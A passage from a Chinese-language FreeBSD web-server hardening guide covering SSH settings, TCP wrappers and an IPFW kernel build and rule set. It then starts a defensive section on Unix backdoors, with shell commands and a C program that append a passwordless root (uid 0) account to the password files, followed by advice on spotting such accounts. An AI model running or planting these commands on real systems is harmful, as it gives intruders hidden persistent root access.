(4)建议不使用静态密码,而使用DSA 或RSA KEY,修改如下内容可以关闭使用密码认证:
PasswordAuthentication no
(5)可以限制某个组或光是单个用户访问shell
AllowGroups wheel
或者
AllowUsers heiyeluren
(6) 限制root用户登陆,主要是为了防止暴力破解
PermitRootLogin no
(7) 不允许口令为空的用户登陆
PermitEmptyPasswords no
(8)使用TCP wrappers来限制一些访问,修改/etc/hosts.allow文件,注释掉"ALL : ALL : allow",增加如下内容:
sshd:localhost:allow
sshd:friendlcomputer:allow
sshd:all : deny
#相关命令:
#chsh -s /sbin/nologin user
四、防火墙的安装和设置
FreeBSD自带有一个基于包过滤的防火墙--ipfw,虽然功能没有专业防火墙那么强大,但是应付一个Web站点的安全还是足够的,所以我们决定选用该防火墙来保护我们的Web服务器。
1. 安装ipfw
IPFW 的主要部分是在内核中运行的, 因此会需要在FreeBSD内核配置文件中添加部分选项。(注意,如果你没有安装FreeBSD核心源代码,是无法进入以下目录的,所以运行之前一定要先安装内核源代码)我们先进入内核配置文件:
# cd /sys/i386/conf
# cp GENERIC ./kernel_fw
打开内核配置文件:
# ee ./kernel_fw
添加四个选项,不需要后面的注释信息:
options IPFIREWALL # 将包过滤部分的代码编译进内核。
options IPFIREWALL_VERBOSE
# 启用通过syslogd记录的日志。如果没有指定这个选项,即使您在过滤规则中指定记录包, 也不会真的记录它们
options IPFIREWALL_VERBOSE_LIMIT=10
# 限制通过 syslogd(8) 记录的每项包规则的记录条数。在恶劣的环境中如果您想记录防火墙的活动, 而又不想由于 syslog 洪水一般的记录而导致拒绝服务攻击, 那么这个选项将会很有用。
options IPFIREWALL_DEFAULT_TO_ACCEPT
# 这将把默认的规则动作从 ``deny’’ 改为 ``allow’’。这可以防止在没有配置防火墙之前使用启用过 IPFIREWALL 支持的内核重启时把自己锁在外面。 另外, 如果您经常使用 ipfw(8) 来解决一些问题时它也非常有用。 尽管如此,在使用时应该小心, 因为这将使防火墙敞开, 并改变它的行为。
编译内核:
# /usr/sbin/config kernel_fw
# cd ../compile/kernel_fw (注意你的版本,如果是低于5.0的版本用../../compile/kernel_fw)
# make depend
# make
# make install
重启系统。注意,我们没有选择options IPFIREWALL_DEFAULT_TO_ACCEPT该选项,就是说默认系统启动后是打开防火墙的,并且防火墙默认是不允许任何连接的(deny from any to any),所以一定要在本地操作,否则你将被“锁在门外”,如果你选择了该选项则可以使用ssh等连接不受影响,不过这相对不安全。
2. 配置ipfw
如果配置普通情况下的规则,使用命令配置的模式:
ipfw的配置命令:ipfw [-N] 命令 [编号] 动作 [log(日志)] 协议 地址 [其它选项]
例如:
# ipfw add allow tcp from any to 10.10.10.1 80 #允许外界访问我的web服务
# ipfw add allow tcp from any to 10.10.10.1 21 #允许外面访问我的ftp服务
# ipfw add allow tcp from any to 10.10.10.1 22 #允许外界访问我的ssh服务
如果使用规则包的形式,那么查看下面内容。
系统启动后,我们还要配置rc.conf文件来运行我们的防火墙:
# ee /etc/rc.conf
加入如下内容:
gateway_enable="YES" # 启动网关
firewall_enable="YES" # 激活firewall防火墙
firewall_script="/etc/rc.firewall" # firewall防火墙的默认脚本
firewall_type="/etc/ipfw.conf" # firewall自定义脚本
firewall_quiet="NO" # 起用脚本时,是否显示规则信息。现在为“NO”假如你的防火墙脚本已经定型,那么就可以把这里设置成“YES”了。
firewall_logging_enable="YES" # 启用firewall的log记录。
设置完成后我们再编辑/etc/syslog.conf文件:
# ee /etc/syslog.conf
加入以下行:
!ipfw
*.* /var/log/ipfw.log
现在到了最重要的编辑规则包了:
# ee /etc/ipfw.conf
我们添加一下规则:(注意 10.10.10.1是我们服务器的IP)
######### TCP ##########
add 00001 deny log ip from any to any ipopt rr
add 00002 deny log ip from any to any ipopt ts
add 00003 deny log ip from any to any ipopt ssrr
add 00004 deny log ip from any to any ipopt lsrr
add 00005 deny tcp from any to any in tcpflags syn,fin
# 这5行是过滤各种扫描包
add 10001 allow tcp from any to 10.10.10.1 80 in # 向整个Internet开放http服务。
add 10002 allow tcp from any to 10.10.10.1 21 in # 向整个Internet开放ftp服务。
add 10000 allow tcp from 1.2.3.4 to 10.10.10.1 22 in
# 向Internet的xx.xx.xx.xx这个IP开放SSH服务。也就是只信任这个IP的SSH登陆。
# 如果你登陆服务器的IP不固定,那么就要设为:add 10000 allow tcp from any to 10.10.10.1 22 in
add 19997 check-state
add 19998 allow tcp from any to any out keep-state setup
add 19999 allow tcp from any to any out #这三个组合起来是允许内部网络访问出去,如果想服务器自己不和Internet进行tcp连接出去,可以把19997和19998去掉。(不影响Internet对服务器的访问)
########## UDP ##########
add 20001 allow udp from any 53 to 10.10.10.1 # 允许其他DNS服务器的信息进入该服务器,因为自己要进行DNS解析嘛~
add 29999 allow udp from any to any out # 允许自己的UDP包往外发送。
########## ICMP #########
add 30000 allow icmp from any to any icmptypes 3
add 30001 allow icmp from any to any icmptypes 4
add 30002 allow icmp from any to any icmptypes 8 out
add 30003 allow icmp from any to any icmptypes 0 in
add 30004 allow icmp from any to any icmptypes 11 in
#允许自己ping别人的服务器。也允许内部网络用router命令进行路由跟踪。
五、Unix/Linux上的后门技术和防范
对黑客来讲,入侵一个系统只是万里长征的开始,最主要的是长期占有一个肉鸡(傀儡机),所以,后门技术往往非常重要。对于我们来讲,总是处于被动的地位,百密一疏,总有没有做到位的地方,谁都不能保证自己的系统是绝对安全的,所以不能避免我们可能会被入侵。黑客入侵后肯定会留后门,当然,除了那些高手,境界非常高,入侵只是为了测试或者技术挑战,对于一般黑客来讲,入侵之后留个后门是很重要的,我们要防范,当然就要了解常用的后门技术,下面就简单的讲将在Unix/Linux系统中比较常见的后门技术。
1. 帐号后门
最普通和原始的后门技术,一般就是在系统中添加一个管理员帐户。
# echo "heiyeluren:*:0:0::/root:/bin/sh" >> /etc/passwd
# echo "heiyeluren::0:0::0:0::/root:/bin/sh" >> /etc/shadow
给系统增加一个 uid和gid都为0(root)的帐号,无口令。
FreeBSD的密码是存储在 /etc/master.passwd里面的,那么后面的命令就应该改成:
# echo "heiyeluren:::::::::" >> /etc/master.passwd
也可以使用程序来实现:
/* Add super user */
#include "stdio.h"
#define PASSWD_PATH "/etc/passwd"
#define SHADOW_PATH "/etc/master.passwd"
main()
{
FILE *fd;
fd = fopen(PASSWD_PATH, "a+");
fprintf(fd, "heiyeluren:*:0:0::/root:/bin/sh\n");
fclose(fd);
fd = fopen(SHADOW_PATH, "a+");
fprintf(fd, "heiyeluren::0:0::0:0::/root:/bin/sh\n");
fclose(fd);
}
# gcc -o adduser adduser.c
# ./adduser
这种方法比较傻,一般比较容易发现,特别是系统帐户不多的时候。也有的用户名起的比较迷惑人,比如起个r00t的用户名,uid和gid都是0,这样如果不注意,可能就会被蒙混过关了。
* 防范方法:
这种方法虽然比较容易发现,但是我们还是要防范,要多注意观察系统的帐户情况,本来我们系统帐户就不多,检查起来比较方便,另外也要注意那些比较少使用的帐户是不是被更改过,比如默认的帐户有bind,它的shell是 /usr/sbin/nologin,就是不能登陆的,但是黑客入侵后把它改了,比如改为/bin/csh,那么对方就能登陆了,但是你确不知道。所以最好办法是把/etc/passwd另外备份一份,不定期的检查,同时把/etc/passwd和/etc/master.passwd设为只有root才能查看。